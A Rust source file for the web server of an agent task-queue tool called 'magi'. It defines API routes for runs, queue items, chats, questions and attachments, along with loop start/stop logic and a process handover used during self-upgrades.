1use std::collections::{HashMap, HashSet};
95use std::convert::Infallible;
96use std::net::{IpAddr, Ipv4Addr, SocketAddr};
97use std::path::{Path as FsPath, PathBuf};
98use std::pin::Pin;
99use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
100use std::time::Duration;
101use tokio::sync::Notify;
102
103use anyhow::{Context, Result};
104use axum::Json;
105use axum::Router;
106use axum::body::Bytes;
107use axum::extract::rejection::JsonRejection;
108use axum::extract::{DefaultBodyLimit, Path, Query, State};
109use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
110use axum::response::sse::{Event, KeepAlive, Sse};
111use axum::response::{IntoResponse, Response};
112use axum::routing::{get, post, put};
113use jiff::Timestamp;
114use serde::{Deserialize, Serialize};
115use tokio_stream::StreamExt as _;
116use tokio_stream::wrappers::ReceiverStream;
117
118use crate::agent;
119use crate::ask::{self, Answer, Question, Questions};
120use crate::config::{AgentKind, Config, Update, UpdateMode};
121use crate::md;
122use crate::notices::{Notice, Notices};
123use crate::persona;
124use crate::persona_icon;
125use crate::proc::Quiet as _;
126use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
127use crate::run::{RunState, RunStatus};
128use crate::talk::{Talk, Talks};
129use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
130
131pub const DEFAULT_PORT: u16 = 7878;
133
134const POLL: Duration = Duration::from_secs(1);
136
137const KEEPALIVE: Duration = Duration::from_secs(15);
141
142const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
153
154const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
157
158const LIST_DEFAULT: usize = 50;
162const LIST_MAX: usize = 500;
164
165const TITLE_MAX: usize = 72;
167
168const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
177
178const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
184
185const FILENAME_HEADER: &str = "x-filename";
189
190const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
213 font-src data:; base-uri 'none'; form-action 'none'; \
214 frame-ancestors 'self'";
215
216const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
217const APP_CSS: &str = include_str!("../assets/ui/app.css");
218const APP_JS: &str = include_str!("../assets/ui/app.js");
219
220#[derive(Debug, Clone, Copy, PartialEq, Eq)]
222pub enum Bind {
223 Auto,
225 Addr(IpAddr),
227}
228
229impl std::str::FromStr for Bind {
230 type Err = String;
231
232 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
236 if s.eq_ignore_ascii_case("auto") {
237 return Ok(Self::Auto);
238 }
239 s.parse()
240 .map(Self::Addr)
241 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
242 }
243}
244
245impl std::fmt::Display for Bind {
246 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
247 match self {
248 Self::Auto => f.write_str("auto"),
249 Self::Addr(addr) => write!(f, "{addr}"),
250 }
251 }
252}
253
254#[derive(Debug, Clone)]
256pub struct Opts {
257 pub bind: Bind,
259 pub port: u16,
261 pub repo: PathBuf,
263 pub open: bool,
266 pub merge: Option<String>,
274}
275
276impl Default for Opts {
277 fn default() -> Self {
278 Self {
279 bind: Bind::Auto,
280 port: DEFAULT_PORT,
281 repo: PathBuf::from("."),
282 open: false,
283 merge: None,
284 }
285 }
286}
287
288#[derive(Debug, Clone)]
294pub struct Ui {
295 queue: Queue,
296 questions: Questions,
297 notices: Notices,
300 talks: Talks,
301 runs: PathBuf,
302 home: PathBuf,
303 repo: PathBuf,
304 worktrees_root: PathBuf,
311 talk_turns: Arc<Mutex<TalkTurns>>,
319 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
323 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
326 resuming: Arc<Mutex<HashSet<String>>>,
334 repos_cache: repos::Cache,
338 machine_config: Option<PathBuf>,
342 merge: Option<String>,
344 looping: Arc<Mutex<LoopState>>,
346 launch: Launch,
358 #[cfg(test)]
361 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
362}
363
364#[cfg(test)]
384struct BusyQueueGate {
385 reached: tokio::sync::oneshot::Sender<()>,
386 release: std::sync::mpsc::Receiver<()>,
387}
388
389#[cfg(test)]
390impl std::fmt::Debug for BusyQueueGate {
391 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
392 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
393 }
394}
395
396impl Ui {
397 pub fn new(
399 queue: Queue,
400 questions: Questions,
401 talks: Talks,
402 runs: PathBuf,
403 home: PathBuf,
404 repo: PathBuf,
405 ) -> Self {
406 Self {
407 queue,
408 questions,
409 notices: Notices::at(home.join("notifications")),
410 talks,
411 runs,
412 home,
413 repo,
414 worktrees_root: run::default_worktree_root(),
418 talk_turns: Arc::default(),
419 upgrade_gate: Arc::default(),
420 upgrade_spawned: Arc::default(),
421 resuming: Arc::default(),
422 repos_cache: repos::Cache::new(),
423 machine_config: Config::machine_layer(),
424 merge: None,
425 looping: Arc::default(),
426 launch: launch_daemon,
427 #[cfg(test)]
428 busy_queue_gate: Arc::default(),
429 }
430 }
431
432 pub fn open(repo: PathBuf) -> Self {
435 Self::new(
436 Queue::open(),
437 Questions::open(),
438 Talks::open(),
439 run::runs_root(),
440 run::home(),
441 repo,
442 )
443 }
444
445 #[must_use]
452 pub fn with_merge(mut self, merge: Option<String>) -> Self {
453 self.merge = merge;
454 self
455 }
456
457 #[cfg(test)]
460 #[must_use]
461 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
462 self.machine_config = path;
463 self
464 }
465
466 #[must_use]
471 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
472 self.worktrees_root = root;
473 self
474 }
475
476 #[cfg(test)]
481 #[must_use]
482 fn with_launch(mut self, launch: Launch) -> Self {
483 self.launch = launch;
484 self
485 }
486
487 #[cfg(test)]
497 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
498 *self
499 .busy_queue_gate
500 .lock()
501 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
502 }
503
504 fn looping(&self) -> Arc<Mutex<LoopState>> {
506 Arc::clone(&self.looping)
507 }
508
509 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
516 if let Some(other) = foreign {
517 return Err(ApiError::conflict(format!(
518 "{} is already running the loop, so this one will not start a \
519 second: two loops on one queue race for the same claims and \
520 burn the agent quota twice over. Stop it where it was \
521 started.",
522 other.who()
523 )));
524 }
525 let mut state = self.lock_loop();
526 if state.live.as_ref().is_some_and(Live::alive) {
527 return Err(ApiError::conflict(format!(
528 "this magi web process (pid {}) is already running the loop",
529 std::process::id()
530 )));
531 }
532
533 let stop = daemon::Stop::new();
534 let opts = daemon::Opts {
538 repo: self.repo.clone(),
539 merge: self.merge.clone(),
540 worktrees_root: Some(self.worktrees_root.clone()),
547 ..daemon::Opts::default()
548 };
549 let launch = self.launch;
550 let looping = Arc::clone(&self.looping);
551 let handle = tokio::spawn({
552 let opts = opts.clone();
553 let stop = stop.clone();
554 async move {
555 let failure = match launch(opts, stop).await {
556 Ok(()) => None,
557 Err(e) => Some(format!("{e:#}")),
558 };
559 match &failure {
560 Some(why) => tracing::error!("the loop stopped: {why}"),
561 None => tracing::info!("the loop stopped"),
562 }
563 let mut state = lock_or_recover(&looping);
569 state.live = None;
570 state.last_error = failure;
571 state.rev += 1;
572 }
573 });
574 tracing::info!(
575 "the loop is now running in this process: repo {}, merge {}",
576 opts.repo.display(),
577 opts.merge.as_deref().unwrap_or("as the config says")
578 );
579 state.live = Some(Live { stop, handle, opts });
580 state.last_error = None;
583 state.rev += 1;
584 Ok(())
585 }
586
587 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
593 if let Some(other) = foreign {
594 return Err(ApiError::conflict(format!(
595 "the loop belongs to {}, and this process cannot stop it - \
596 stop it where it was started. A button that silently did \
597 nothing would be worse than this refusal.",
598 other.who()
599 )));
600 }
601 let mut state = self.lock_loop();
602 if !park {
605 state.resume_after_handover = false;
606 }
607 let Some(live) = state.live.as_ref() else {
608 return Ok(());
609 };
610 if live.stop.stopped() && (!park || live.stop.parking()) {
614 return Ok(());
615 }
616 if park {
617 live.stop.park();
618 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
619 } else {
620 live.stop.stop();
621 tracing::info!("the loop was asked to stop; a run in flight is finished first");
622 }
623 state.rev += 1;
624 Ok(())
625 }
626
627 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
634 let state = self.lock_loop();
635 let live = state.live.as_ref().filter(|live| live.alive());
638 LoopView {
639 running: live.is_some(),
640 stopping: live.is_some_and(|live| live.stop.finishing()),
641 parking: live.is_some_and(|live| live.stop.parking()),
642 owned: live.is_some(),
643 repo: live
644 .map_or(&self.repo, |live| &live.opts.repo)
645 .display()
646 .to_string(),
647 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
648 last_error: state.last_error.clone(),
649 daemon: DaemonView::of(reading),
650 }
651 }
652
653 fn resume_after_handover(&self, resume: bool) -> bool {
659 if !resume {
660 return false;
661 }
662 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
663 match self.start_loop(foreign) {
664 Ok(()) => true,
665 Err(e) => {
666 let why = format!(
667 "the loop could not be resumed after the upgrade: {}",
668 e.message
669 );
670 tracing::warn!("{why}");
671 let mut state = self.lock_loop();
672 state.last_error = Some(why);
673 state.rev += 1;
674 false
675 }
676 }
677 }
678
679 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
681 lock_or_recover(&self.looping)
682 }
683
684 fn is_thinking(&self, id: &str) -> bool {
690 self.talk_turns
691 .lock()
692 .is_ok_and(|turns| turns.live.contains(id))
693 || self.talks.turn_held(id)
696 }
697
698 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
717 self.claim_talk_turn(id, false)
718 }
719
720 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
723 self.claim_talk_turn(id, true)
724 }
725
726 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
727 let mut live = self
728 .talk_turns
729 .lock()
730 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
731 if live.parking {
732 if queued {
733 *live.queued.entry(id.to_owned()).or_default() += 1;
736 return Ok(None);
737 }
738 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
739 }
740 let inserted = live.live.insert(id.to_owned());
741 let lease = if inserted {
745 match self.talks.claim_turn(id) {
746 Ok(Some(lease)) => Some(lease),
747 Ok(None) => {
748 live.live.remove(id);
749 None
750 }
751 Err(e) => {
752 live.live.remove(id);
753 return Err(ApiError::from(e));
754 }
755 }
756 } else {
757 None
758 };
759 if lease.is_none() {
760 if queued {
761 *live.queued.entry(id.to_owned()).or_default() += 1;
766 }
767 return Ok(None);
768 }
769 Ok(Some(TalkTurnGuard {
770 talk: id.to_owned(),
771 turns: Arc::clone(&self.talk_turns),
772 released: false,
773 lease,
774 }))
775 }
776
777 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
782 let mut live = self
783 .talk_turns
784 .lock()
785 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
786 if live.parking || live.live.contains(id) {
788 return Ok(TalkTurnStart::Busy);
789 }
790 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
791 return Ok(TalkTurnStart::Foreign);
792 };
793 let talk = self.talks.get(id).map_err(ApiError::from)?;
795 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
796 return Ok(TalkTurnStart::Pending);
797 }
798 live.live.insert(id.to_owned());
799 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
800 talk: id.to_owned(),
801 turns: Arc::clone(&self.talk_turns),
802 released: false,
803 lease: Some(lease),
804 }))
805 }
806
807 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
809 Arc::clone(&self.talk_turns)
810 }
811
812 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
819 let parking = {
820 let mut state = self.lock_loop();
821 let resume = state.resume_after_handover
831 || state
832 .live
833 .as_ref()
834 .is_some_and(|live| live.alive() && !live.stop.stopped());
835 state.resume_after_handover = resume;
836 let Some(live) = state.live.as_ref() else {
837 return Ok(None);
838 };
839 let busy = live.stop.busy_now();
840 live.stop.park();
841 state.rev += 1;
842 busy
843 };
844 Ok(if parking {
845 daemon::current_work(&self.home, jiff::Timestamp::now())
850 .into_iter()
851 .next()
852 .map(|c| c.run)
853 } else {
854 None
855 })
856 }
857
858 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
862 let mut live = self
863 .resuming
864 .lock()
865 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
866 if !live.insert(id.to_owned()) {
867 return Err(ApiError::conflict(format!(
868 "run {id} is already being resumed"
869 )));
870 }
871 Ok(ResumeGuard {
872 run: id.to_owned(),
873 resuming: Arc::clone(&self.resuming),
874 })
875 }
876
877 pub fn router(self) -> Router {
885 Router::new()
886 .route("/", get(index))
887 .route("/app.css", get(app_css))
888 .route("/app.js", get(app_js))
889 .route("/api/health", get(health))
890 .route("/api/loop", get(loop_get).post(loop_post))
891 .route("/api/upgrade", post(upgrade_post))
892 .route("/api/runs", get(runs_list))
893 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
894 .route("/api/runs/{id}/report", get(run_report))
895 .route("/api/runs/{id}/report.json", get(run_report_json))
896 .route("/api/runs/{id}/fold", post(run_fold))
897 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
898 .route("/api/runs/{id}/resume", post(run_resume))
899 .route("/api/queue", get(queue_list))
900 .route("/api/search", get(search_get))
901 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
902 .route("/api/stats", get(stats_get))
903 .route("/api/repos", get(repos_list))
904 .route("/api/settings", get(settings_get))
905 .route("/api/settings/roles", put(settings_put_roles))
906 .route("/api/queue/{id}/hold", post(queue_hold))
907 .route("/api/queue/{id}/release", post(queue_release))
908 .route("/api/queue/{id}/priority", post(queue_priority))
909 .route("/api/queue/{id}/edit", post(queue_edit))
910 .route("/api/queue/{id}/done", post(queue_done))
911 .route("/api/questions", get(questions_list))
912 .route("/api/questions/{id}/answer", post(question_answer))
913 .route("/api/questions/{id}/say", post(question_say))
914 .route("/api/questions/{id}/consult", post(question_consult))
915 .route("/api/questions/{id}/panel", get(question_panel))
916 .route("/api/questions/{id}/panel/index.html", get(question_panel))
924 .route("/api/questions/{id}/panel/{name}", get(question_asset))
925 .route("/api/questions/{id}/asset/{name}", get(question_asset))
926 .route("/api/notifications", get(notifications_list))
927 .route("/api/notifications/read-all", post(notifications_read_all))
928 .route("/api/notifications/{id}/read", post(notification_read))
929 .route(
930 "/api/notifications/{id}/dismiss",
931 post(notification_dismiss),
932 )
933 .route("/api/talks", get(talks_list).post(talk_post))
934 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
935 .route("/api/talks/{id}/say", post(talk_say))
936 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
937 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
938 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
939 .route("/api/talks/{id}/agent", post(talk_agent))
940 .route("/api/talks/{id}/persona", post(talk_persona))
941 .route("/api/talks/{id}/implementers", post(talk_implementers))
942 .route("/api/talks/{id}/close", post(talk_close))
943 .route("/api/talks/{id}/reopen", post(talk_reopen))
944 .route(
950 "/api/talks/{id}/attachments",
951 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
952 )
953 .route(
954 "/api/talks/{id}/attachments/{att}",
955 get(talk_attachment_get),
956 )
957 .route("/api/talks/{id}/avatar", get(talk_avatar))
958 .route("/api/events", get(events))
959 .with_state(Arc::new(self))
960 }
961}
962
963const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
966
967#[derive(Debug)]
973struct TalkTurnGuard {
974 talk: String,
975 turns: Arc<Mutex<TalkTurns>>,
976 released: bool,
977 lease: Option<crate::talk::TurnLease>,
979}
980
981#[derive(Debug, Default)]
988struct TalkTurns {
989 live: HashSet<String>,
990 queued: HashMap<String, u64>,
991 parking: bool,
995}
996
997enum TalkTurnStart {
1000 Claimed(TalkTurnGuard),
1001 Busy,
1002 Foreign,
1005 Pending,
1006}
1007
1008impl TalkTurnGuard {
1009 fn owns(&self) -> bool {
1013 self.lease
1014 .as_ref()
1015 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1016 }
1017
1018 async fn respond(
1021 &self,
1022 talk: &mut Talk,
1023 talks: &Talks,
1024 cfg: &Config,
1025 text: &str,
1026 ) -> anyhow::Result<()> {
1027 let lease = self
1028 .lease
1029 .as_ref()
1030 .context("the turn guard no longer holds its lease")?;
1031 talk::respond(lease, talk, talks, cfg, text).await
1032 }
1033
1034 fn release(mut self, live: &mut TalkTurns) {
1037 self.lease = None;
1041 live.live.remove(&self.talk);
1042 live.queued.remove(&self.talk);
1043 self.released = true;
1044 }
1045}
1046
1047impl Drop for TalkTurnGuard {
1048 fn drop(&mut self) {
1049 if self.released {
1050 return;
1051 }
1052 drop(self.lease.take());
1054 if let Ok(mut live) = self.turns.lock() {
1055 live.live.remove(&self.talk);
1056 live.queued.remove(&self.talk);
1057 }
1058 }
1059}
1060
1061struct ResumeGuard {
1063 run: String,
1064 resuming: Arc<Mutex<HashSet<String>>>,
1065}
1066
1067impl Drop for ResumeGuard {
1068 fn drop(&mut self) {
1069 if let Ok(mut live) = self.resuming.lock() {
1070 live.remove(&self.run);
1071 }
1072 }
1073}
1074
1075async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1085 const WINDOW: Duration = Duration::from_secs(10);
1086 const GAP: Duration = Duration::from_millis(250);
1087
1088 let deadline = std::time::Instant::now() + WINDOW;
1089 let mut said = false;
1090 loop {
1091 match tokio::net::TcpListener::bind(socket).await {
1092 Ok(listener) => return Ok(listener),
1093 Err(e)
1094 if e.kind() == std::io::ErrorKind::AddrInUse
1095 && std::time::Instant::now() < deadline =>
1096 {
1097 if !said {
1098 said = true;
1099 tracing::info!(
1100 "{socket} is still held - waiting up to {}s for it, \
1101 which is what a restart looks like from here",
1102 WINDOW.as_secs()
1103 );
1104 }
1105 tokio::time::sleep(GAP).await;
1106 }
1107 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1108 }
1109 }
1110}
1111
1112static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1115
1116const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1118
1119fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1121 value.is_some_and(|v| v == "1")
1122}
1123
1124fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1147 let exe = std::env::current_exe().context("find this binary")?;
1148 let args: Vec<String> = std::env::args().skip(1).collect();
1149 updater::log_step(
1150 home,
1151 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1152 );
1153 let log_path = home.join(WEB_LOG);
1154 let open_log = || {
1155 std::fs::create_dir_all(home)?;
1156 std::fs::OpenOptions::new()
1157 .create(true)
1158 .append(true)
1159 .open(&log_path)
1160 };
1161 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1162 Ok(pair) => (
1163 std::process::Stdio::from(pair.0),
1164 std::process::Stdio::from(pair.1),
1165 ),
1166 Err(e) => {
1167 updater::log_warn(
1168 home,
1169 &format!(
1170 "could not open {}: {e}; the successor logs nowhere",
1171 log_path.display()
1172 ),
1173 );
1174 (std::process::Stdio::null(), std::process::Stdio::null())
1175 }
1176 };
1177
1178 let mut cmd = std::process::Command::new(&exe);
1179 if resume {
1180 cmd.env(RESUME_LOOP_ENV, "1");
1181 } else {
1182 cmd.env_remove(RESUME_LOOP_ENV);
1183 }
1184 cmd.args(&args)
1185 .stdin(std::process::Stdio::null())
1186 .stdout(out)
1187 .stderr(err);
1188 #[cfg(windows)]
1189 {
1190 use std::os::windows::process::CommandExt as _;
1191 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1194 }
1195 let child = cmd.spawn().context("start the successor")?;
1196 Ok(child.id())
1197}
1198
1199const WEB_LOG: &str = "web.log";
1201
1202async fn wait_for_handover(signal: &Notify) {
1206 signal.notified().await;
1207}
1208
1209pub async fn serve(opts: Opts) -> Result<()> {
1234 let (addr, warning) = resolve_bind(&opts.bind);
1235 if let Some(warning) = warning {
1236 tracing::warn!("{warning}");
1237 }
1238
1239 report::set_color(false);
1245
1246 let repo = normalize_default_repo(opts.repo).await;
1247 let ui = Ui::open(repo).with_merge(opts.merge);
1248 let home = ui.home.clone();
1253 let repo = ui.repo.clone();
1254 updater::reconcile_after_restart(&home);
1259 updater::log_step(
1260 &home,
1261 &format!(
1262 "web process started (version {}); handover log {}, successor output {}",
1263 env!("CARGO_PKG_VERSION"),
1264 updater::log_path(&home).display(),
1265 home.join(WEB_LOG).display()
1266 ),
1267 );
1268 updater::spawn_watchdog(home.clone());
1269 tokio::spawn(run_update_recheck(repo, home.clone()));
1278 let looping = ui.looping();
1279 let turns = ui.turns();
1280 let talk_store = ui.talks.clone();
1281 let socket = SocketAddr::new(addr, opts.port);
1282 let listener = bind_waiting(socket).await?;
1283 let url = format!("http://{addr}:{}", opts.port);
1284 tracing::info!(
1285 "magi web UI on {url} - there is no authentication, so anyone who can \
1286 reach this address can file and hold tasks: the tailnet is the \
1287 security boundary"
1288 );
1289 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1290 tracing::info!("resumed the loop the predecessor was running");
1291 } else {
1292 tracing::info!(
1293 "the queue loop is not running yet - start it from the UI, which is \
1294 the whole reason this process can: nothing in the queue moves until \
1295 something is running the loop"
1296 );
1297 }
1298 if opts.open {
1299 println!("{url}");
1303 }
1304
1305 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1308 let interrupted = async {
1309 if tokio::signal::ctrl_c().await.is_err() {
1310 std::future::pending::<()>().await;
1315 }
1316 };
1317 let handover = wait_for_handover(&HANDOVER);
1318 let outcome = tokio::select! {
1319 joined = &mut served => match joined {
1320 Ok(outcome) => outcome.context("serve the web UI"),
1321 Err(e) => Err(e).context("the task serving the web UI ended"),
1322 },
1323 () = interrupted => {
1324 tracing::info!("shutting down the web UI");
1325 finish_loop(&home, &looping, None).await;
1326 Ok(())
1327 }
1328 () = handover => {
1329 updater::log_step(&home, "serve: the select! woke on the handover signal");
1330 let successor_home = home.clone();
1331 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1332 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1333 spawn_successor(&successor_home, resume)
1334 })
1335 .await
1336 }
1337 };
1338 updater::log_step(
1339 &home,
1340 &match &outcome {
1341 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1342 Err(e) => format!("serve: returning an error: {e:#}"),
1343 },
1344 );
1345 outcome
1346}
1347
1348async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1369 if repo != FsPath::new(".") {
1370 return repo;
1371 }
1372 let Ok(canonical) = repo.canonicalize() else {
1373 return repo;
1374 };
1375 if git::toplevel(&canonical).await.is_ok() {
1376 return repo;
1377 }
1378 let Some(home) = dirs::home_dir() else {
1379 return repo;
1380 };
1381 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1382 Some(found) => {
1383 tracing::info!(
1384 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1385 canonical.display(),
1386 found.path.display(),
1387 found.reason,
1388 );
1389 found.path
1390 }
1391 None => repo,
1392 }
1393}
1394
1395async fn hand_over(
1425 home: &FsPath,
1426 looping: &Mutex<LoopState>,
1427 turns: &Arc<Mutex<TalkTurns>>,
1428 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1429 served: tokio::task::JoinHandle<std::io::Result<()>>,
1430 successor: impl FnOnce(bool) -> Result<u32>,
1431) -> Result<()> {
1432 updater::log_step(home, "hand_over: entered; writing the parking stage");
1433 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1437 if !recorded {
1438 updater::log_warn(
1439 home,
1440 "hand_over: upgrade.json is unreadable; no parking stage",
1441 );
1442 }
1443 finish_loop(home, looping, Some(&mut lease)).await;
1448 let parking = ParkingTurns::begin(turns);
1449 let talks_done = finish_talks(home, turns, talk_wait);
1450 tokio::pin!(talks_done);
1451 let mut beat = tokio::time::interval(LEASE_BEAT);
1452 let (abandoned, waited_for) = loop {
1453 tokio::select! {
1454 left = &mut talks_done => break left,
1455 _ = beat.tick() => lease.beat(),
1456 }
1457 };
1458 drop(lease);
1459 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1460 served.abort();
1461 let _ = served.await;
1462 updater::log_step(home, "hand_over: listener released");
1463 let resume = lock_or_recover(looping).resume_after_handover;
1466 match updater::read_progress(home) {
1467 Some(mut progress) => {
1468 progress.advance(updater::Stage::Restarting);
1469 if !abandoned.is_empty() {
1470 progress.detail = Some(format!(
1471 "handed over while {} still running after {} s",
1472 updater::talks_phrase(&abandoned),
1473 waited_for.as_secs()
1474 ));
1475 }
1476 updater::write_progress_logged(home, &progress);
1477 }
1478 None => updater::log_warn(
1479 home,
1480 "hand_over: upgrade.json is unreadable; no restarting stage",
1481 ),
1482 }
1483 updater::log_step(
1484 home,
1485 &format!("hand_over: starting the successor (resume={resume})"),
1486 );
1487 drop(parking);
1488 match successor(resume) {
1489 Ok(pid) => {
1490 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1491 Ok(())
1492 }
1493 Err(e) => {
1494 updater::log_warn(
1495 home,
1496 &format!("hand_over: the successor did not start: {e:#}"),
1497 );
1498 Err(e)
1499 }
1500 }
1501}
1502
1503const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1506
1507const TALK_POLL: Duration = Duration::from_millis(250);
1509
1510fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1513 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1514}
1515
1516fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1521 let default = Config::default().graph.timeout_talk;
1522 let longest = ids
1523 .iter()
1524 .map(|id| {
1525 talks
1526 .get(id)
1527 .ok()
1528 .and_then(|t| Config::discover(&t.repo, None).ok())
1529 .map_or(default, |(c, _)| c.graph.timeout_talk)
1530 })
1531 .max()
1532 .unwrap_or(default);
1533 talk_wait_bound(longest)
1534}
1535
1536struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1540
1541impl ParkingTurns {
1542 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1543 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1544 Self(Arc::clone(turns))
1545 }
1546}
1547
1548impl Drop for ParkingTurns {
1549 fn drop(&mut self) {
1550 self.0
1551 .lock()
1552 .unwrap_or_else(PoisonError::into_inner)
1553 .parking = false;
1554 }
1555}
1556
1557async fn finish_talks(
1562 home: &FsPath,
1563 turns: &Mutex<TalkTurns>,
1564 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1565) -> (Vec<String>, Duration) {
1566 let running = || {
1567 let mut ids: Vec<String> = turns
1568 .lock()
1569 .unwrap_or_else(PoisonError::into_inner)
1570 .live
1571 .iter()
1572 .cloned()
1573 .collect();
1574 let talks = talk::Talks::at(home.join("talks"));
1577 for t in talks.list() {
1578 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1579 ids.push(t.id);
1580 }
1581 }
1582 ids.sort();
1583 ids
1584 };
1585 let started = std::time::Instant::now();
1586 let mut seen = Vec::new();
1587 let mut bound = Duration::ZERO;
1588 loop {
1589 let ids = running();
1590 if ids != seen {
1591 bound = bound.max(bound_for(&ids));
1592 if ids.is_empty() {
1593 updater::log_step(home, "finish_talks: no chat turn is running");
1594 } else {
1595 updater::log_step(
1596 home,
1597 &format!(
1598 "finish_talks: waiting for {} to finish",
1599 updater::talks_phrase(&ids)
1600 ),
1601 );
1602 }
1603 updater::set_parked_talks(home, &ids);
1604 seen = ids;
1605 }
1606 if seen.is_empty() {
1607 return (Vec::new(), bound);
1608 }
1609 if started.elapsed() >= bound {
1610 updater::log_warn(
1611 home,
1612 &format!(
1613 "finish_talks: {} still running after {} s; handing over anyway",
1614 updater::talks_phrase(&seen),
1615 bound.as_secs()
1616 ),
1617 );
1618 return (seen, bound);
1619 }
1620 tokio::time::sleep(TALK_POLL).await;
1621 }
1622}
1623
1624const LEASE_BEAT: Duration = Duration::from_secs(20);
1627
1628async fn finish_loop(
1635 home: &FsPath,
1636 state: &Mutex<LoopState>,
1637 mut lease: Option<&mut updater::LeaseGuard>,
1638) {
1639 let live = lock_or_recover(state).live.take();
1640 let Some(live) = live else {
1641 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1642 return;
1643 };
1644 live.stop.stop();
1645 lock_or_recover(state).rev += 1;
1646 updater::log_step(
1647 home,
1648 "finish_loop: waiting for the loop to finish the run in flight",
1649 );
1650 let waited = std::time::Instant::now();
1651 let mut handle = live.handle;
1654 let mut beat = tokio::time::interval(LEASE_BEAT);
1655 loop {
1656 tokio::select! {
1657 _ = &mut handle => break,
1658 _ = beat.tick() => {
1659 if let Some(lease) = lease.as_deref_mut() {
1660 lease.beat();
1661 }
1662 }
1663 }
1664 }
1665 updater::log_step(
1666 home,
1667 &format!(
1668 "finish_loop: the loop ended after {:.1}s",
1669 waited.elapsed().as_secs_f32()
1670 ),
1671 );
1672}
1673
